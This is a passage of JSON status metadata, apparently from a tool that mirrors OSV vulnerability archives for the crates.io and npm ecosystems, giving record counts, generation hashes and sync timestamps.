counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T18:44:29.2929405+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.2929405+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T18:44:29.1494018+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T18:44:29.1494018+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}